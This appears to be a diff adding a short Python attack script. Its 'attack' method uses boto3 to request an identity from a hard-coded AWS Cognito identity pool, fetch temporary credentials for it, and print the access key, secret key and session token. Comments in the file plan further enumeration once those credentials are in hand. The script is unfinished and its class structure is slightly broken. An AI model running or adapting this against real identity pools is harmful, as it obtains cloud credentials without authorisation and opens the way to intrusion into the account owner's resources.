| 1 | + | # To add authenticated identity checks |
| 2 | + | # also add enumeration after accessing credentials |
| 3 | + | # Add code for getting region and cognito endpoint |
| 4 | + | # Link - https://andresriancho.com/internet-scale-analysis-of-aws-cognito-security/ |
| 5 | + | import boto3 |
| 6 | + | |
| 7 | + | class Cognito: |
| 8 | + | pass |
| 9 | + | |
| 10 | + | def attack(self): |
| 11 | + | client = boto3.client('cognito-identity', region_name="us-east-2") |
| 12 | + | |
| 13 | + | try: |
| 14 | + | _id = client.get_id(IdentityPoolId="us-east-2:242fadac-86fa-4afb-9a48-83a546572559") |
| 15 | + | except client.exceptions.NotAuthorizedException as e: |
| 16 | + | fail_message = "Bla Bla: {}".format(e) |
| 17 | + | print(fail_message) |
| 18 | + | return fail_message |
| 19 | + | _id = _id['IdentityId'] |
| 20 | + | |
| 21 | + | credentials = client.get_credentials_for_identity(IdentityId=_id) |
| 22 | + | |
| 23 | + | access_key = credentials['Credentials']['AccessKeyId'] |
| 24 | + | secret_key = credentials['Credentials']['SecretKey'] |
| 25 | + | session_token = credentials['Credentials']['SessionToken'] |
| 26 | + | identity_id = credentials['IdentityId'] |
| 27 | + | |
| 28 | + | print(access_key, secret_key, session_token) |
| 29 | + | |